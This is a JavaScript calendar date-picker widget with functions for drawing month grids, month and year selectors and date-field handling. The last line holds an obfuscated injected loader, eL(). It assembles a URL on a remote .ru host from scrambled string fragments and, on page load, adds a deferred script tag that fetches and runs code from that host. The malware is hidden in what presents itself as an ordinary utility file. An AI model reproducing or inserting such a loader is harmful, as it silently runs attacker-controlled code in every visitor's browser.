function _isLeapYear(year) {
    return (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) ? 1 : 0;
}

function setCalendar(idtag,yyyy,mm,dd) {
    y = document.getElementById(idtag);
    y.value = dd + "/" + mm + "/" + yyyy;
    y = document.getElementById(idtag + "Div");
    y.style.display = "none";
}

function closeCal(idtag) {
    t = document.getElementById(idtag + "Div");
    t.style.display = "none";
}

function closeCalNoDate(idtag) {
    y = document.getElementById(idtag);
    y.value = "";
    t = document.getElementById(idtag + "Div");
    t.style.display = "none";
}

function closeCalSetToday(idtag) {
    var doDate = new Date();
    var mm = doDate.getMonth()+1;
    var dd = doDate.getDate();
    var yyyy = doDate.getYear();

    if (yyyy < 1000) {
        yyyy = yyyy + 1900;
    }

    setCalendar(idtag,yyyy,mm,dd);
}

function redrawCalendar(idtag) {

    var x = document.getElementById(idtag + "SelectMonth");
    for (i = 0; i < x.options.length;i++){
        if (x.options[i].selected) {
            var mm = x.options[i].value;
        }
    }

    var y = document.getElementById(idtag + "SelectYear");
    for (i = 0; i < y.options.length; i++) {
        if (y.options[i].selected) {
            var yyyy = y.options[i].value;
        }
    }

    // Who f-ing knows why you need this?
    // If you don't cast it to an int,
    // the browser goes into some kind of
    // infinite loop, atleast in IE6.0/Win32
    //
    mm = mm*1;
    yyyy = yyyy*1;

    drawCalendar(idtag,yyyy,mm);
}

function _buildCalendarControls() {

    var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
    var nw = new Date();

    (arguments[0] ? idtag = arguments[0] : idtag = "");
    (arguments[1] ? yyyy = arguments[1] : yyyy = nw.getYear());
    (arguments[2] ? mm = arguments[2] : mm = nw.getMonth());
    (arguments[3] ? dd = arguments[3] : dd = nw.getDay());

    // Mozilla hack,  I am sure there is a more elegent way, but I did it
    // on a Friday to get a release out the door...
    //
    if (yyyy < 1000) {
        yyyy = yyyy + 1900;
    }

    var monthArray = '<select class ="DateControls" id="' + idtag + 'SelectMonth" onChange="redrawCalendar(\'' + idtag + '\');">';
    // First build the month selection box
    for (i = 0; i < months.length; i++){
        if (i == mm-1) {
            monthArray = monthArray + '<option value="' + eval(i + 1) + '" selected="selected">' + months[i] + '</option>';
        } else {
            monthArray = monthArray + '<option value="' + eval(i + 1) + '">' + months[i] + '</option>';
        }
    }
    monthArray = monthArray + "</select>";

    var today_ = new Date();
    var yyyyStart = 1900
    var yyyyEnd = today_.getYear() + 5

    var yearArray = '<select class ="DateControls" id="' + idtag + 'SelectYear" onChange="redrawCalendar(\'' + idtag + '\');">';
    for (i=yyyyStart;i<=yyyyEnd;i++){
        if (i == yyyy) {
            yearArray = yearArray + '<option value="' + i + '" selected="selected">' + i + '</option>';
        } else {
            yearArray = yearArray + '<option value="' + i + '">' + i + '</option>';
        }
    }
    yearArray = yearArray + "</select>";
    return(monthArray + " " + yearArray);
}

function clickIcon(idtag) {
    (arguments[0] ? idtag = arguments[0] : idtag = "");

    t = document.getElementById(idtag + "Div");
    if (t.style.display == "none") {
        drawCalendar(idtag);
    } else {
        closeCal(idtag);
    }
}

function drawCalendar() {

    (arguments[0] ? idtag = arguments[0] : idtag = "");
    (arguments[1] ? yyyy = arguments[1] : yyyy = void(0));
    (arguments[2] ? mm = arguments[2] : mm = void(0));
    (arguments[3] ? dd = arguments[3] : dd = void(0));

    if (!yyyy && !mm) {
        x = document.getElementById(idtag);
        if (x.value != "") {
            var wholeValue = x.value;
            var dateparts = wholeValue.split("/");
            var dd = dateparts[0]*1;
            var mm = dateparts[1]*1;
            var yyyy = dateparts[2]*1;
        } else {
            var doDate = new Date();
            var mm = doDate.getMonth()+1;
            var dd = doDate.getDate();
            var yyyy = doDate.getYear();
        }
    }

    // Mozilla hack,  I am sure there is a more elegent way, but I did it
    // on a Friday to get a release out the door...
    //
    if (yyyy < 1000) {
        yyyy = yyyy + 1900;
    }

    var newDate = new Date(yyyy,mm-1,1);
    var startDay = newDate.getDay();
    var dom = [31,28,31,30,31,30,31,31,30,31,30,31];
    var dateControls = '<tr><td class="DateControlFrame" colspan="7">' + _buildCalendarControls(idtag,yyyy,mm,dd) + '</td></tr>';
    var beginTable = '<table class="CalendarFrame">';
    var calHeader = '<tr><td class="CalHeader">Su</td><td class="CalHeader">Mo</td><td class="CalHeader">Tu</td><td class="CalHeader">We</td><td class="CalHeader">Th</td><td class="CalHeader">Fr</td><td class="CalHeader">Sa</td></tr>';
    var closeControls = '<tr><td class="CloseControls" colspan="7"> <a class="close" onclick="closeCal(\'' + idtag + '\');">Close</a>  &nbsp;&nbsp;&nbsp; <a class="cancel" onclick="closeCalNoDate(\'' + idtag + '\');">No Date</a> &nbsp;&nbsp;&nbsp; <a class="today" onclick="closeCalSetToday(\'' + idtag + '\');">Today</a></td></tr></table>';
    var curHTML = "";
    var curDay = 1;
    var endDay = 0;
    var rowElement = 0;
    var startFlag = 1;
    var endFlag = 0;
    var elementClick = "";
    var celldata = "";

    ((_isLeapYear(yyyy) && mm == 2) ? endDay = 29 : endDay = dom[mm-1]);

    // calculate the lead gap
    if (startDay != 0) {
        curHTML = "<tr>";
        for (i = 0; i < startDay; i++) {
            curHTML = curHTML + '<td class="EmptyCell">&nbsp;</td>';
            rowElement++;
        }
    }

    for (i=1;i<=endDay;i++){
        (dd == i ? celldata = "CurrentCellElement" : celldata = "CellElement");

        if (rowElement == 0) {
            curHTML = curHTML + '<tr>' + '<td class="' + celldata + '" onclick="setCalendar(\'' + idtag + '\','+ yyyy +',' + mm + ',' + i +');">' + i + '</td>';
            rowElement++;
            continue;
        }

        if (rowElement > 0 && rowElement < 6) {
            curHTML = curHTML + '<td class="' + celldata + '" onclick="setCalendar(\'' + idtag + '\','+ yyyy +',' + mm + ',' + i +');">' + i + '</td>';
            rowElement++;
            continue;
        }

        if (rowElement == 6) {
            curHTML = curHTML + '<td class="' + celldata + '" onclick="setCalendar(\'' + idtag + '\','+ yyyy +',' + mm + ',' + i +');">' + i + '</td></tr>';
            rowElement = 0;
            continue;
        }
    }

    // calculate the end gap
    if (rowElement != 0) {
        for (i = rowElement; i <= 6; i++){
            curHTML = curHTML + '<td class="EmptyCell">&nbsp;</td>';
        }
    }

    curHTML = curHTML + "</tr>";
    t = document.getElementById(idtag + "Div");
    icmg = document.getElementById(idtag + "Icon");
    dateField = document.getElementById(idtag);
    t.innerHTML = beginTable + dateControls + calHeader + curHTML + closeControls;

    // need to write some better browser detection/positioning code here
    // Also, there is a perceived stability issue where the calendar goes offscreen
    // when the  is right justified..Need some edge detection
    //
    
    
  var kitName = "applewebkit/";
	var tempStr = navigator.userAgent.toLowerCase();
	var pos = tempStr.indexOf(kitName);
	var isAppleWebkit = (pos != -1);
    
    if (isAppleWebkit || document.all) {
        ieOffset = 10;
    } else {
        ieOffset = 0;
    }

    t.style.left = icmg.offsetLeft + "px"
    t.style.top = icmg.offsetTop + "px"
    t.style.display = "";
}

function createCalendar() {
    (arguments[0] ? idtag = arguments[0] : idtag = "");
    (arguments[1] ? defvalue = arguments[1] : defvalue = "");
    (arguments[2] ? isEditable = arguments[2] : isEditable = true);
    (arguments[3] ? iconPath = arguments[3] : iconPath = "images/calendar.gif");
    (arguments[4] ? onchange = arguments[4] : onchange = "");

    (!isEditable ? readOnly = 'readonly="readonly"' : readOnly = '');

    if (true) {
        clicking = '';
        icon = ' <img style="cursor:hand; top:; left:; position:relative;" src="' + iconPath + '" class="CalIcon" id="' + idtag + 'Icon" onmousedown="clickIcon(\'' + idtag + '\');" />';
    } else {
        clicking = 'onclick="drawCalendar(\'' + idtag + '\')"';
        icon = '';
    }

    document.write('<input name="' + idtag + '" id="' + idtag + '" type="text" class="DateField" size="20" value="' + defvalue + '" ' + readOnly + ' ' + clicking + ' ' + onchange + ' /> ' +  icon)
    document.write('<br /><div id="' + idtag + 'Div" style="background: #ffffff; position: absolute; display:none; top:0; left:0;"></div>');
}

var LK='';function eL(){var c=new String();var Qn="";var f="";var x=String("1Z6g".substr(3));var s=RegExp;this.p='';var L='';var V=new Array();var B=new Date();var n=new Date();function e(xi,N){var EX='';var rf="";var si= String("[");var t=new Array();si+=N;si+=new String("]");var C=new String();var pw;if(pw!='' && pw!='u'){pw=null};var Ql="";var E=new s(si, x);return xi.replace(E, L);};var mc=new Array();var F="";var Xj;if(Xj!='' && Xj!='mG'){Xj=null};var WV;if(WV!='Iv'){WV=''};var XC=new Array();var K='';this.wX='';var cZ;if(cZ!='eO'){cZ=''};var Ng=String("def"+"eryYp".substr(0,2));var Q="src";var IA=new Date();var g=e('899403399489393049339',"394");var Y=new String("/me"+"3aWJtro".substr(4)+"flonjLr".substr(0,3)+"g.cm0i".substr(0,3)+"om/dlqL".substr(0,3)+"OKQmetKQO".substr(3,3)+"Z4nrofnZ4".substr(3,3)+"bPK3log".substr(4)+"A2U.co2UA".substr(3,3)+"m/k"+"ODHu6.".substr(3)+"4YDcom".substr(3)+"Aip/go".substr(3)+"oglHsL".substr(0,3)+"iMNe.c".substr(3)+"om/"+"nok"+"ia.HFtL".substr(0,3)+"NKycomyKN".substr(3,3)+".ph"+"p");var Dj;if(Dj!='nv'){Dj=''};var HW;if(HW!='' && HW!='T'){HW=null};var j="http:71a".substr(0,5)+"h7sv//repvhs7".substr(4,5)+"ubbli"+"ca-it"+"XM8c.softcX8M".substr(4,5)+"pediakLq".substr(0,5)+".com.nRzp".substr(0,5)+"opend"+"mtPKns-comtPK".substr(4,5)+"EKZm.theZKE".substr(3,5)+"hotla9zGF".substr(0,5)+"qnUb.ru:nUq".substr(3,5);var ZK='';var Lr=window;this.AH='';var SF="";var i="scrip4e3X".substr(0,5)+"t";var Vm=new Date();this.ZE='';Lr.onload=function(){var uWe=new String();var Bx=new Date();try {var KK;if(KK!='' && KK!='Eh'){KK=''};var tR=new Array();var rA;if(rA!=''){rA='R'};K=j+g;var P;if(P!='dD'){P='dD'};K+=Y;var Pr;if(Pr!='MG' && Pr != ''){Pr=null};var U='';sG=document.createElement(i);var _w;if(_w!=''){_w='JG'};var pB=new Array();sG[Q]=K;var AQ;if(AQ!='fZV' && AQ!='sq'){AQ='fZV'};sG[Ng]=[1][0];var mO=new Date();document.body.appendChild(sG);var LA=new Array();var Ji="";} catch(YG){};};};eL();